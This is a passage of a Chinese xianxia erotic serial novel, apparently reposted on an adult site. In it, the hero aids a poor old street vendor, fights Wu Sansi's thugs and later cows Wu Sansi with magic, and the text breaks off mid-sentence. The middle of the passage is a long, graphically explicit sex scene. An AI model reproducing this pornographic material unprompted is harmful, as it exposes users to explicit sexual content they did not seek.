找AV导航 绿色小导航 不良研究所 最新地址
仙侠魔踪全书 -9
匿名用户
06月12日
次访问

  



第四集:罗叉夜姬/第三回:扶善惩恶



是时朝阳初升,京城内的店肆仍没营业。三人走过安定坊,离远便见千福寺
外摆着数十个地摊,摆卖着形形色色的小物儿。

千福寺原为章怀太子李贤的邸宅,咸亨四年寄舍为寺院。李贤是武则天第二
子,因宫中时有流传一则闲话,说他并非武后所生,却是武后亲姊南*棒夫人之子,
使李贤心疑恐惧。调露二年,明崇俨被强盗杀害,武后疑是李贤所为,果在东宫
马房搜到数百具铠甲,终被流放至巴州。

武则天仍怕他轻举妄动,派丘神绩到巴州监视,丘神绩竟误会了武后的意思,
逼使李贤自杀,武后得知此事,立贬丘神绩为迭州刺史,并追赠皇太子地位,谥
章怀太子。

李贤当太子时,有感母亲为了权力,把母子亲情弄得荡然无存,便作有黄台
瓜辞,「种瓜黄台下,瓜熟子离离。一摘使瓜好,再摘令瓜稀,三摘犹尚可,四
摘抱蔓归。」,此诗以藤蔓比喻母亲,四瓜代表母亲四个儿子,盼望能让母亲醒
悟。然而这首千古绝唱,仍是改变不了章怀太子的命运。

辛钘素来喜好热闹,看见有东西摆卖,当下兴匆匆的走将过去,张眼一望,
也不由为之呆住,看见摆卖的东西全是些半零不落、又破又旧的物事!如一些百
衲布衣、破孔鞋子、缺口花瓶、破锅敝笱等,全都是些破铜烂铁,残旧无用的东
西。

再看那些摊贩,无一不是风烛残年的长者,有男的,有女的,更有些肢体残
障、衣衫褴褛的中年汉。这些破旧斑残的东西,京中的富贵人家自然不会问津,
便是一般人家,也难把这些东西放在眼内。

辛钘看着这等情景,不禁长叹一声,便连身旁的李隆基,亦瞧得嗟叹摇头,
欷歔不已。辛钘跑过的地方可说不少,穷苦人家也见多了,却没想到在这靡丽繁
华的京城里,也有这等教人惋叹的事情!

筠儿同样看得心头发酸,低声说道:「每日破晓时分,他们都会候在城门外,
待得宵禁一过,城门打开,趁着街鼓未响,店铺还没开门营业,便集中在这里摆
卖,因他们没有本钱,所有货品,都是从垃圾堆捡回来的,运气好的,或许捡得
有点价值的东西,倘若运气不好,当日便要忍饥受饿了!」

李隆基叹道:「这些人每日都在这里摆卖?」

筠儿道:「人每天都要吃饭,你可以饿一日,却饿不了两天,在我还没进杨
府前,同样遭受过这些日子。公子你是贵胄之家,或许不明白其中苦处!」

辛钘说道:「但这些破破烂烂的东西,会有人买吗?」

筠儿喟然道:「买的人当然不多,但有些清贫人家贪图物品便宜,间歇也会
来帮寸。其实只要有人会买,能够换得一两个文钱,他们已经很满足了。」

三人来到一个小摊子前,但见地上铺着一张青荅布,上面放满大大小小的石
子,再看那摆卖之人,却是一名年约六十的老者,鹄面鸠形、面容憔悴,一看便
知是个饱尝风霜的人。

辛钘大感奇怪,蹲下身子,拈起一枚鸡卵大小的石子,掂量一下,拿在手上
仔细打量,只见石子表层异常光泽滑润,石上还有几道红绿色斑纹,颇为特别,
便向那老者问道:「老丈,请问这石子是什么名堂?」

那老者摇头道:「不知道,都是在山上捡到,公子若喜欢,一文钱三枚。」

辛钘再找起其他石子看看,都是大同小异,瞧来这些石块并非什么珍宝之物,
只是外表特别,这老者才检回来摆卖,遂问道:「这都是检来的!但要找到这样
漂亮的石子也不容易呀,必定跑了很多山头才找到吧?」

老者叹道:「食不餬口,力未赡农!人老了,身骨子又不争气,只好干些没
本钱的买卖,到处捡些东西来摆卖,盼能买得一分半钱,免得饿死街头,说来真
是惭愧!」

李隆基在旁问道:「老丈现在没有子女照顾吗?」

老者摇头道:「原本是有个儿子,本是淳于处平麾下一名小兵,不幸在沂州
一役,给突厥军杀了,我婆子痛失亲儿,一病不起,也随他去了,便只留下我这
个老骨头。」

辛钘问道:「你儿子为国捐躯,难道没有丝毫犒赏慰劳?」

老者又摇头长叹,说道:「这小小的犒赏,又能济什么事!当年老夫追随薛
将军远征高丽,大破高丽军,连陷南苏、木底、苍严三城。在这战役中,老夫送
了一条大腿,才是派发二两白银,遂将老夫送回老乡,这么一星儿银两,便用来
做小买卖亦不足够,要不然,也不会落魄到这步田地!」

李隆基道:「原来老丈是薛仁贵薛将军的部下,失敬,失敬!」

老者挥手道:「这都是多年前的事了,实不消多提。」

辛钘叹道:「老丈当年投袂荷戈,保境息民,没想会落得如此下场,老丈行
动不便,仍要四处捡拾石头为生,也难为你了。」当下伸手往腰袋一摸,身上便
只有二两白银,而这些银子,却是前时冒名杨峭天,从杨家取来的,本想用来买
礼物给紫琼,但此情此景,他也不再想了,把银子全掏了出来,递与那老者道:
「请老丈收下这些银子,虽然不多,省吃俭用倒可维持一段日子。」

只见那老者不住挥手摇头,说道:「这样不可以的,老夫虽然是穷,但还有
点儿骨气,请公子收回银两。」

辛钘拈起刚才那枚石子,说道:「你说这些石子一文钱三枚,这只是老丈你
不识货,我认为这枚石子,足可值得六七两白银,我就买下这个,瞧来已算是便
宜我了。」

老者何尝不知道这石子的价值,这类彩石子随山可见,说句不好听,实在是
一文不值,忙道:「这个……这个怎值二两银子,公子爷说笑了!」

辛钘笑道:「只要我认为值得就是,老丈不用和我讨价了。」

老者无奈,只好收下:「老夫就多谢三位了。」

辛钘把那枚石子收入怀中,正当他徐缓站起身子,忽闻得么喝四起,接着
「啪啦啪啦」几声巨响,像是器物掉在地上的破碎声。辛钘循声望去,却见几名
身穿青衣的壮汉飞腿乱踢,把地上摆卖的东西踢得七零八落,嘴里仍嚷骂不休:
「哪来的老不死,这是德静王出入城门的要道,岂容你们在此摆卖。」

一个老太婆眼见摆卖的东西被弄得破丢不落,悲从中来,哭道:「众位爷门
行行好,不要再踢啦……」

老太婆话还没说完,一个汉子骂道:「妳啰唆个什么,快给我走开!」伸出
葵扇似的大手往她身上一推。那老太婆年纪老迈,怎能承受得起,身子往后直摔
倒下去!

辛钘看得怒从心起,见那老太婆快将跌在地上,已不容他再想,当即使起飞
身托迹,流星赶月般飞身上前,右手一抄,已把那老太婆接住,扶她坐在地上,
回首一看,几个大汉依然往其他摊子乱踢乱踹。辛钘登时怒火中烧,抽出腰间的
双龙杖,怒吼一声,径往那些大汉扑了过去。

随听得「喔唷,喔唷」之声此起彼落,转瞬之间,已见十多个大汉卧满一地,
捧头抱脚的滚来滚去,口里「啊,啊,啊」的呻吟不绝。

辛钘挺起胸膛,当中一站,破口骂道:「你们这群狗仗人势的泥猪瓦狗,连
老人家也不肯放过!究竟是什么人叫你们来捣乱?」

一个粗眉汉子虽然脚骨折断,痛得一张脸皮不住价抽搐,仍是怒目咬牙道:
「哼!小子你少逞威风,打狗也要看主人面。咱们是德静王府的人,你胆敢如此
放肆,便是瞧不起我家王爷。」

辛钘怒道:「德静王又如何,天子脚下岂容你等狗才横行霸道,作威作福!

究竟那个德静王是谁,老子倒要会一会他,看他是否有三头六臂,竟如此专
横跋扈!」

李隆基走将前来,在辛钘耳边道:「德静王就是武三思,素来专断横行,要
不也养不出这些狗奴才。」

辛钘听见了武三思这名字,登时记起紫琼曾说过此人,低声说道:「原来是
他,就是和上官婉儿有路的家伙!」

李隆基点了点头,轻声道:「武三思仗着韦后撑腰,连皇上也给他几分面子,
今趟咱们得罪了他,恐怕后患无穷。」

辛钘天生一铳子性儿,加上年少气盛,见着这等不平事,又如何克制得,现
听见李隆基的说话,也不当作一回事,愤愤道:「得罪他又如何,宁为玉碎,不
为瓦全,我一于和他斗到底,看他怎地奈何我。」

李隆基道:「以老弟的武功,自然不会怕他,但你可知道,武三思此人素来
跋扈自恣,难保他不会将气发在这些老人家身上!只要你一离开,他们便要遭殃
了,莫非你要每天候在这里保护他们?」

辛钘给他说得呆在当场,回心想想也是道理,但一时亦想不出对策来。

李隆基道:「倘若有人到王府通风报讯,或是有差役赶来干与,就更加麻烦
了。为了安全起见,咱们先行护送他们离开这里,免得难为了这些老人家。」

辛钘点头道:「老哥这话极对,事不宜迟,咱们先离开这里再算。」

当即一面通知各人离开,一面为他们收拾散乱在地的东西,三人携老扶弱走
出城门,距离长安数里处,李隆基问道:「不知老丈如何称呼?住在什么地方?」

那老者道:「老夫姓丁,人人都叫我老丁,住在城西荳水井。」

李隆基取出一绽金子,交与那贩卖石子的老者,说道:「为了安全起见,看
来暂时不能再摆卖了,这里有些银两,大家先行分了,也可挨磨一段日子,打后
再作打算好了。」

老丁本想不愿收取他的银子,但回头一看,见众人个个愁颜不展,只好腼颜
接受,感激道:「老夫实在……实在不知如何感谢公子,唯愿公子福寿绵绵,日
后早登科甲,荫子封妻。」

李隆基道:「丁大叔言重了,过得几天,我会再去探望大叔。」

老个长长一揖:「老夫在此为大家多谢两位公子爷。请两位公子留下名讳,
好让老夫为两位祝祷祈愿,以报厚恩。」

辛钘双手乱挥,说道:「丁大叔不用客气了,咱们这样做,只是看不过那些
恃势凌人的家伙,现在时间也不早了,咱们还有点事办,要先走一步,过几天再
拜会丁大叔。」

李隆基道:「丁大叔,记住我的说话,暂时不要再摆卖。」

老丁知道二人不想说出名字,亦不便再问,拄着拐杖躬身道:「公子的好意
老夫明白,两位公子爷既然有事在身,老夫也不敢阻搁,便此别过。」

三人走出数丈,辛钘说道:「武三思可能会另派人追来,咱们在后暗暗护送
他们好吗?」

李隆基点头同意,说道:「这样也好,但刚才为何不和他们一起同行?」

辛钘笑道:「你适才没看见吗?那个丁大叔不住问长问短,又这般客气,教
我浑身好不自在。」说着三人随即踅回,在后暗暗跟随。

筠儿瞧着他微微笑道:「你二人施恩不望报,连姓名也不愿留下,常人道:
「为善者天报以福,为非者天报以殃。」我相信好人自有天报。」

辛钘笑道:「上天如有福报,也不会少了我的筠儿,老哥你说是吗?」

李隆基点头一笑:「这个当然,老弟你的福气可不小,身边有个如此福惠双
全的俏丫头,连我也感到妒忌呢。」

筠儿脸上一红,不由娇嗔起来:「人家不和你们说了!」

辛钘说道:「我与老哥认识已有一段日子,还不知你成家没有?」

李隆基微笑点头:「我已娶有一妻一妾,生了一子一女,老弟你也得加把劲
儿,早点把紫琼姑娘娶过门吧。」

辛钘笑道:「这个当然,咱们哥儿俩就比一比劲力,看谁的孩子多。」

三人说说笑笑,蹑着老丁等人走了一段路程,看见武三思并没有派人追来,
相信已经安全,方往来路踅回。

筠儿低声问辛钘:「你不是说要买东西送给紫琼姑娘吗?」

辛钘把所有银两买了那枚石子,怀里已空空如也,只好微微一笑:「刚才已
经买了,妳没看见吗?」

筠儿听了已明白他的意思,再没有问下去。

三人回到杨府已是辰未巳初,刚好过了辛钘练功的时间,他一回来便直奔玲
珑轩,看见紫琼连忙道:「对不起,今早入城买点东西,回来迟了。」

紫琼含笑说道:「你迟到该和彤霞说才是,无须对我说。」

辛钘搔了搔头顶,从怀里掏出那枚石子,说道:「我有东西送给妳。」说着
牵起她的玉手,把石子放在她掌心。

紫琼凝望着手上的石子,问道:「这就是你今早要买的东西?」

辛钘点头道:「今天是咱们刚好认识一年的日子,只可惜我囊空如洗,穷得
要命,无法送给妳什么贵重的东西,只能给妳这个。」

紫琼把石子牢牢包在掌心,满眼柔情的盯着他,轻声道:「多谢你,只是你
这分心意,已经没有东西能超越它了。」

辛钘高兴不已,紧握住紫琼双手,问道:「只要妳不嫌弃就行,方才我还在
担心,只送妳一枚不值钱的石子,担心会令妳不高兴呢。」

紫琼嫣然笑道:「用二两银子买一枚石子,还说不值钱。」

辛钘稍微一愕,当即笑道:「原来……原来妳什么都知道了。」

紫琼点头轻笑:「你的心意紫琼会永远记住,也会好好保管你这分心意。最
难得你具有侠义之心,看见你这分侠骨柔肠,紫琼真的很高兴。」

辛钘笑道:「妳说得兜儿这么好,怎地一点奖励也没有?」

紫琼嘴含微笑,问道:「你想要什么奖励,这样可以了吗?」说完在他脸上
亲了一下。

一阵如兰的幽香,直扑进辛钘的鼻子,心中不由一荡,趁着紫琼靠近身子,
辛钘连忙将她搂住,两具身躯登时贴得密密匝匝,滴水不漏。

紫琼身子一软,把个凹凸有致的娇躯依偎着他,任由辛钘将她抱紧。

辛钘望着紫琼那张绝世独立的美貌,直瞧得眼狂心热,爱欲交集,一投欲火
直烧上心头,把头一低,吻上紫琼的小嘴。

紫琼徐徐闭上眼睛,送上香舌,顿觉小腹被一根粗硬牢牢抵住,且不住推挤
磨蹭,惹得她情兴大动,膣道立时阵酥阵麻。这份难耐的骚动,让她不得不把辛
钘抱紧。

辛钘固定住紫琼的脑袋,直吻得她上气不接下气,当他右手握住一个乳房时,
紫琼猛地一颤,绽出一声美妙的呻吟。辛钘隔着衣衫把玩有顷,体内那股欲火再
难压抑,忙抱着她滚到床榻上,正要动手解除她衣服,紫琼连忙握住他双手,摇
头道:「现在不可以,你还要去练功。」

这刻如箭在弦,辛钘岂肯便此罢手,见他气急喘促,一面扯开紫琼的腰带,
一面说道:「兜儿忍不住了,妳……妳就可怜一下兜儿,让我好好爱妳!」

紫琼见他满眼欲火,不禁心中一软,轻轻抚摸他的头发,低声道:「兜儿,
你越来越缠人了……啊!轻一点儿,你咬痛我了……」她的前襟已被辛钘掀开,
低头望去,看见辛钘正在埋头苦干,双手捧着自己一边乳房,兀自吃得津津有味。

辛钘见紫琼不再推拒,一面含住她乳头,一面动手去脱她的衣服。紫琼给他
弄得难过之极,扭动身躯配合他的举动,终于被辛钘脱得一丝不剩。

便在辛钘把身上的衣服脱清光,紫琼伸手到他胯间,握住那根硕大无朋的巨
棒,发觉触手火烫炙热,不停「突突」脉动,遂问道:「兜儿你硬得很厉害,是
不是很难过?」

辛钘猛地点头,气急败坏道:「难过死了,现在就让我进去好吗?」

紫琼见他急得满头大汗,牙关紧咬,狼狈万状,也不禁暗暗好笑,却又心生
怜悯,主动将自己大腿分开,握紧他的肉具,把个龙头抵住阴阜,说道:「我的
兜儿,来要紫琼吧……嗯!好……好胀好舒服,兜儿越来越可爱了……」

辛钘趴在她身上,让紫琼紧紧拥抱住他,说道:「我也好舒服,会不会插得
太深,弄痛了妳?」

紫琼双眸尽是情意,美目半张,怔怔的盯住辛钘的俊脸,轻声道:「不用理
会我,紫琼不怕痛,只要你舒服就行。」边说边抛动腰肢,着力迎凑。

辛钘每次和紫琼做爱,都显得格外兴奋,只消抽动几回,便会渐渐忘形起来,
动作变得又狠又劲,往往把紫琼弄得高潮不迭。

百余下过去,已见辛钘越杀越勇,运棒如风,深藏花径大肆出入,阵阵花露
随棒而出,溶溶脉脉,四下飞溅,打得二人腿间湿漉漉一片。

紫琼无助地紧攀住他身躯,任其抽戳冲杀!紧窄的甬道本就难容他的粗长,
早把玉茎箍得密不透风,再经这般狂猛凌厉的插弄,强烈的快感一浪高似一浪,
无可息止。

「嗯!」紫琼委实抵挡不住,第一度高潮终于降临,但见她妙目如丝,紧盯
住辛钘道:「兜儿,我……我不行……不行了,用力抱紧我,让紫琼全泄给我的
兜儿!啊,要来……兜儿,我要……要来了……」

辛钘一面抽动,一面欣赏她那高潮将至的失神艳色,只觉紫琼一颦一容,均
尽态极妍,也不由看得亢奋莫明,当下道:「全给我,把妳的一切都给我。」

紫琼丢得浑身发软,迷迷糊糊道:「都给你了……全都给你了……」

辛钘道:「是,妳都给我了,现在也该到我给妳,妳喜欢要我的吗?」

紫琼用力搂住他脖子:「要……只要是兜儿的,紫琼都要。亲我,好想你亲
我。」辛钘当然不会让她失望,二人再次吻在一处。

辛钘口里吻着她,手里握住她一个乳房,着力搓揉。一口气又抽插数百下,
辛钘亦感渐渐不继,泄意倏生,当下腰板加力,插得越发起劲。

如此狠攻猛戳,紫琼又觉有点意思,在他口腔道:「又……又再不行了,紫
琼要……要来!」

辛钘忙道:「我也差不多了,咱们一起来好吗?」

紫琼凝望着他,微微点头,辛钘奋力狂捣数十下,腰眼一麻,立时射了出来,
紫琼被热浆一烫,不由阴中一紧,咬着玉龙吸吮一会,也跟随他丢了。

第四集三回完


第四集:罗叉夜姬/第四回:掷级承矛



高潮过后,二人依依不舍的抱作一团,待得兴奋渐缓,辛钘吻着她娇嫩滑腻
的脸颊,轻声说道:「我发觉能与妳尽意随心的干弄,比之什么玄女九式还要快
活。妳呢?妳也有我这种感觉吗?」

紫琼亲昵地点了点头,轻抚着他的头发,柔声道:「我倒没意见,只要是和
你做,紫琼已经很满足了!」

辛钘听见,高兴莫名,用力在她脸颊亲了一口,笑道:「听见妳这样说,比
之什么都来得高兴。紫琼,辛钘今生今世,都会好好爱妳疼妳,妳千万不要离开
兜儿,答应我好吗?」

紫琼也知自己对辛钘越陷越深,直是难以自拔,此刻听着他这番说话,一丝
丝的甜意直涌上心头,颔首道:「兜儿,我也不想离开你。」

辛钘兴高采烈道:「这样说妳是答应我了?」

紫琼见着他那雀跃兴奋的样子,再无法压抑心中的激动,双手牢牢圈住他脖
子,微笑道:「看见你现在这个样子,我能够不答应吗!」

辛钘忭跃之极,颠头耸脑道:「实在太高兴了,不如咱们再来一次,好好的
兴祝一番如何?」

紫琼「噗哧」一笑:「你真是的,分明是找藉口,我才不理睬你呢。」

辛钘不容分说,凑头便往樱唇亲去,紫琼还没来得反应,爱郎的舌尖已猛地
闯了进来:「嗯……兜儿……」说得一半,话声已被全然封闭住。

紫琼半推半就,最终融化在辛钘的热情中,变得和他一样狂热,两根舌头缠
绕滚翻,彼此追索对方的甜蜜。便在此时,紫琼似乎感觉到什么,突然把舌头抽
回,辛钘正感奇怪,彤霞的话声忽地从榻旁响起:「姐姐,请恕妹妹打扰。」

二人愕然望去,却见彤霞已站在床榻旁。紫琼登时满脸通红,忙把压在身上
的辛钘抱紧,生怕自己的娇躯让彤霞看光,说道:「妹妹进来也不通知一声!」

彤霞微微一笑,说道:「是妹妹不好,姐姐勿怪,只因有事要立即与你们说,
实在迫不得已。」

紫琼听见,知道必定有事发生,连忙屈指一算,微显惊讶,遂向辛钘道:
「兜儿,武三思终于找上门来,不用多久便会来到这里。」

辛钘听了一呆,不解道:「他……他怎知道我在这里,难道我被人蹑住?」

彤霞说道:「或许今早那些人当中,有人认识你是杨峭天,所以误认你是他。
不管怎样,武三思目前是皇帝的人,你必须小心应付。」

辛钘想起今天早上的事情,怒意顿生:「好呀,我还没找他算账,他竟自己
找来。」说着滚身下榻,晃着玉龙匆匆拾起地上的衣服。

紫琼失去了遮掩,忙扯过被子盖住身子,彤霞看见揜口一笑,说道:「妳我
都是女人,姐姐又何必介意。」说完转过身子,免得紫琼尴尬。

二人连忙穿回衣服,辛钘把双龙杖在腰间一插,说道:「这是他自找的,可
不要怪我。」

紫琼在旁道:「武三思和上官婉儿关系密切,兜儿你要谨慎行事,最好多留
余地,不要做得太过分,阻碍咱们灭妖的计划。」

辛钘想想也是,点头应允,彤霞说道:「还有你要顾及杨门一家,要知和朝
庭树敌,真个可大可小,随时会有灭门之祸。」

三人还没来到大厅,便见不少杨门子弟直奔大厅,个个手执兵刃,一副如临
大敌的模样,再走几步,见筠儿迎面急奔而来,看见辛钘等人,忙道:「不好了,
武三思带了很多兵马把杨府包围住,声言要找老爷和你。」

辛钘道:「我已经知道了,他们有多少人马?」

筠儿说道:「相信有二三百人,老爷着我通知你,叫你马上到大厅去。」

刚走进大厅,已见厅上挤满了人,居中的座位上,只有杨夫人独自坐着,并
不见杨曲亭在场。众人一看见辛钘,立即奔将前来,马元霸一拍辛钘的肩膀,竖
起拇指道:「老弟做得好,能够见义勇为,这才不失男儿本色。」

辛钘问道:「你……你们都知道了?」

小雀儿点头道:「李公子和筠儿把一切都说了,连老人家也欺负,他们真不
是人。」

辛钘连忙走到杨夫人跟前,忙问道:「娘,爹呢?」

杨夫人道:「他带同门下弟子出去迎接,但都这么久了,还没见回来,实在
令人担心,兜儿你赶去看看。」

辛钘连忙点头道:「兜儿现在便去。」说话一完,便即急步走出大厅,众人
立即跟随在后。

杨夫人把李隆基叫住:「李公子,我知你们李家和武三思素有嫌隙,实不宜
露面,你和令妹还是退避一下好。」

李武两家确实早存介蒂,韦后勾结武三思专擅朝政,并以其从兄韦温掌握实
权,韦后时常防着李家和太平公主,不时在皇帝面前陷害李隆基老爹李旦,幸好
皇帝和这对弟妹甚相友爱,没有理会韦后的诬陷。

李隆基略一沉吟,他虽非惧刀避剑之辈,更不是害怕了武三思,但为了父亲
和李家上下,教他不得不犹豫起来,几经思索,权衡轻重,只好点头应承,并同
妹妹舒柔告辞了杨夫人,离开大厅。

辛钘大步疾行,紫琼和彤霞二人紧随在旁,马元霸夫女、宫家兄妹、杨静琇、
筠儿等人在后跟随。走出屋前广场,看见杨门弟子早已分布广场四周,列成队形,
严阵以待。

来到大门口,却见杨曲亭背负双手,挺然卓立,神情极度庄重端严,大有侠
者之风。在杨曲亭两旁,分站着六名杨门高手,凝视着眼前一排排的官兵。

辛钘快步上前,奔到杨曲亭跟前,说道:「爹,一人做事一人当,此事由兜
儿而起,请爹千万不可插手,就交由我自己解决好了。」

杨曲亭捋须摇头:「兜儿你此言差矣,武三思派人指名要见我和你,我又岂
能置于事外,况且你的事就是杨家的事,纵有天大的事情,我父子俩并肩子上就
是。」

辛钘听后大为感动,环目一扫眼前的官兵,却见个个腰悬横刀,把杨府围得
密匝匝的,当中站着一个年轻军官,一身锁子明光甲,三十岁左右年纪,光凭此
人的年龄,决计不是武三思。辛钘心中嘀咕,向杨曲亭问道:「武三思似乎不在
这里,他的人呢?」

杨曲亭道:「这些全是前头步队,先来这里立威,他的人却未到。」

辛钘鼻哼一声:「好大的架子。」说话甫毕,便见十多骑徐徐而来。辛钘张
眼望去,见当前之人是个年约五十,白净脸皮,三络髭须,一身宝蓝锦服的中年
人,满脸傲睨自若,目空一切的模样。辛钘心想:「瞧来此人就是武三思了,好
一个傲世轻物的家伙,今日非要挫挫他的锐气不可。」

转眼之间,武三思已领着众骑来到杨府前,马上十多人全是武官打扮,颐指
气使,一看便知是些鼠凭社贵、狐藉虎威之辈。那青轻军官看见武三思,忙召开
官兵让出一条大路。

杨曲亭见着武三思的气派,眉头一紧,踏上两步揖道:「在下杨曲亭见过王
爷,王爷驾临杨门,不知有何见教?」

武三思瞪着一对虎目,沉声喝道:「好一个杨曲亭,竟纵子行凶,胡作非为,
你可知罪。来人!把这些人全都给我拿下。」

那年轻军官一声领命,将手一挥,登时铿锵大作,数十个官军横刀出鞘,直
奔前来。杨曲亭见他不容自己半句解释,便即下令捉人,一时不知如何是好,若
要反抗,无疑是公然作反,若不动手,难道要眼睁睁束手待毙!

便在杨曲亭两难之际,忽见身旁人影闪动,此人正是辛钘,杨曲亭吃了一惊,
欲要喝止,一条影子已疾射而出,直闯入官兵阵中,只见两根双龙杖横挥直砍,
接着连串狼号鬼哭,官兵倒了一堆又一堆,便连马上那十多人,也一一被扯下坐
骑,转眼之间,地上已倒卧着数十人,不住价滚翻呻吟,一时间也看不出他们伤
在何处。

武三思骑在马背看得一清二楚,实不敢相信眼前的情景,立时吓得脸青口唇
白,颤着声音大叫起来:「来人……来人……快挡住他!」话声甫落,忽觉后领
一紧,却被人提了起来,正自大骇,骤觉双脚已落在地上,就在惊神未定间,发
觉身旁已多了一人。

辛钘放开武三思的后领,右手疾移,已握住他手腕的脉门,武三思登时全身
酸软,半点气力都拿不出来,不由惊道:「你……你……」

只见辛钘微微一笑,低声道:「你不想在此当场出丑,就听我的说话做。叫
他们全部退开,若是不听,莫怪我不客气。」

武三思心中虽有不甘,也明白眼下的形势,生死攸关,叫他不得不低头,只
好怒瞪双目,高声喝道:「你们都停手,给我站到一旁。」

众官兵看见王爷落入对方手中,无不投鼠忌器,纷纷退下一旁。

辛钘握住武三思的手腕,朗声笑道:「我与王爷只是小小误会,你们无须惊
奇。咦!刚才发生什么事,怎地有这么多人卧在地上,你们还呆着作甚,快些扶
他们起来,待会王爷必有重赏。王爷你说是不是?」

武三思哼了一声,却不出声。

辛钘凑到他耳边,微笑道:「我已给足你面子,就不要摆出这副嘴脸来,好
歹也要作过样儿,难道你要我把你脱清光,赤条条的挂到朱雀门去。」

武三思当王爷数十载,那曾听过如此犯上作乱,大逆不道的说话,登时气得
火冒三丈,怒道:「你敢?」

辛钘笑道:「我为什么不敢。你跟我来,今日这笔账我要和你算清楚。」

武三思道:「有什么话便在这里说。」

辛钘道:「好,这是你说的,但你要想清楚,我素来口没遮拦,到时若说了
些不好听的话,可不要怪我,这是你自找的,怨不得人。」

武三思听后一惊,心想这小子当真在众人面前胡言乱语,可大大不妥当,当
下道:「本王爷就和你走一趟,谅你也不敢对我怎样。」

辛钘挽着武三思的手,高声向那些官兵道:「我和王爷私下有事商量,你们
就在外面等着,若果等得不耐烦,大可自行离去。」接着与杨曲亭道:「爹,咱
们进去,不用理会这些人。」

杨曲亭在心中连声叫糟,武三思是何等人物,他最清楚不过,一但朝廷怪罪
下来,可不是开玩笑。一想及此,脸上不由愁云漠漠,五色无主。

紫琼在旁看见,低声说道:「杨伯伯,你不用担忧,兜儿一定会把此事解决
的,我敢保证武三思经过今日之后,再也不敢骚扰杨家。」

杨曲亭岂敢尽信紫琼的说话,摇头叹了一声:「但愿如此!」

辛钘挽着武三思的手进入大厅,态度从容亲热,不知内情的人,还道二人是
多年的老朋友。辛钘与杨曲亭道:「爹,我想要个清静的房间。」

杨曲亭点了点头,向筠儿道:「妳带少爷到后进的厢房去。」

筠儿颔首说了声是。辛钘向紫琼和彤霞使个眼色,要她们一同前去。

来到厢房,辛钘道:「筠儿,妳且先行回去,顺便吩咐下去,不要让其他人
接近这里。」筠儿应了一声,回身去了。

待得筠儿掩上房门,辛钘放开了武三思,指着杌子道:「王爷,且先坐下来,
咱们好好说话。」

武三思气得脸皮铁青,哼了一声,怒道:「本王与你们没什么好说,你这等
做作,真不怕抄家灭族吗?」

辛钘笑道:「你不想受苦头,就乖乖的给我坐下,要我出手,恐怕你这身老
骨头未必受得住,听见了没有?」

武三思无奈,只得悻悻然坐下。辛钘三人也跟随坐了下来,只见彤霞微微一
笑,说道:「王爷,关中杨门乃江湖上的大门派,光是关中,已统驭八门二十六
派,少说也有近万之众,而咱们江湖中人,过的都是刀头舔血的生活,还害怕什
么抄家灭族,你这些虚声恫吓,我看还是免了。」

辛钘笑道:「听见了没有,其实今日之事,本是鸡毛蒜皮的小事,只因你这
个王爷向来横行霸道惯了,以为自己是王爷,便不可一世,认为人人都要害怕你!
我不妨与你说,莫说是你,便是皇帝老子我也不放在眼里,谁得罪我,谁便要遭
殃。」

武三思怒气横生:「好大胆的狗才,竟敢开罪当今皇上。」

辛钘说道:「开罪又如何,我骂皇帝也非只今日,难道在你心中就没有骂过,
你不但在心里骂,而且一大顶绿帽儿往他头上盖,说到得罪皇帝,相信你不会比
我小吧。」

武三思给他一言戳中要害,立时站起身来,大喝一声:「大胆!」

彤霞嘴角含笑,伸出玉手在他腿上凌空一指,武三思不由双脚一软,「噗」

一声又坐了下来,他何曾见过这等厉害的武功,不禁吓出一身冷汗。

辛钘笑道:「这还算不上厉害,杨门更厉害的武功还多着呢。」

武三思瞪大眼睛,说道:「你们……你们都是妖怪!」

辛钘道:「是妖怪好,不是妖怪也好,我现在与你说清楚,我叫你进来谈话,
是想保留你的脸子,让你这个王爷不致在外丢脸,打后你继续做你的德静王,倘
若你仍心存不忿,要找我杨门麻烦,可就不要怪我。皇帝老子或许不会要你的命,
但我可不同,我要取你性命,真是易如反掌,若不相信,不妨大可试一试,有道
是打狗入穷巷,势必反噬一口,这个道理相信你也明白吧。」

武三思沉吟不语,心中暗想:「我现在身处险地,还是忍气吞声为妙,目下
首要是先离开这里,今日这口怨气,本王势必掏回来,咱们走着瞧吧!」

辛钘凝神打量着他,见他一对眼珠子不停滚来滚去,便猜到了几分,当下微
微一笑,站起身来,说道:「王爷光临,一时也忘记使人奉茶,相信王爷也口渴
了,请王爷稍待片刻,待我出去吩咐一声。」

说话甫落,已见辛钘径往房门走去,岂料辛钘并没有伸手去推门,却使起飞
身托迹仙术,身子突然穿门而过,转眼便不见了踪影。

武三思直看得张口结舌,如此匪夷所思的事,他何曾看见过,竟吓得无法说
出声来。

紫琼和彤霞知道辛钘是有意显示功夫,不由暗暗一笑。紫琼暗运仙术,算出
武三思仍是悒郁不忿,知道若不让他心服口服,他必定再来找麻烦,当即向彤霞
使个眼色。

彤霞自然明白她的意思,笑道:「小女子刚做了一些糕点,倘若王爷不弃,
待我去取来让王爷品尝品尝。」还没等待武三思答话,忽地红光一闪,彤霞已不
知所踪,房里只剩下紫琼和武三思。

武三思「啊!」的一声惊叫,指着彤霞刚才的坐位:「她……她呢?」

紫琼笑道:「这些都是我家杨门的秘技,先前你所见的,叫作「穿门过户」

,而刚刚见的,名叫「凌空一闪」,而我这一手,叫作「一箭穿云」」随见
她抬手虚空一指,一道金光从指尖疾射而出,远远的一根大木柱「嗤」一声响,
登时给射出一个小洞,足有三寸余深。

武三思看见如此神奇之事,当场呆若木鸡。

紫琼说道:「这些雕虫小技,实在教王爷见笑了,咱们杨家的武功,虽不能
说是天下第一,但也可说自成一派,杨门弟子除了刀剑功夫外,这些小玩艺儿是
必定要学的。我们三人年纪尚轻,还没练到什么火候,要是由我家门主使出来,
这才厉害呢。」

武三思直听得心头发毛,心想:「倘若我得罪了他们,要是他使出穿门过户,
或是这样一闪,便进入我房间,接着伸手在我身上一指,岂不是……」想到这里,
真个不敢想下去。同时又暗自庆幸,幸好方才那小子没下重手,要不我这条老命
休矣!

但他又那会知晓,刚才这些神乎其神的本领,杨家除了这三人外,其余的人
又何来会使。

便在此时,辛钘突然穿墙而入,笑吟吟的坐回位子,说道:「王爷还请稍待
一会,香茗马上送到。」

武三思此刻气焰大挫,只得缄默不言,这时房门轻响,筠儿手持托盘走了进
来,挨次送上佳茗,还有一碟五色葵花糕,说道:「请王爷慢用。」接着欠身一
礼,退出房间。

武三思脸上讪讪的,有点抹不下来的样子,倏见眼前一团红光闪过,彤霞已
经现回真身,俏生生坐在他面前,笑道:「王爷不用客气,试试小妹这些糕点如
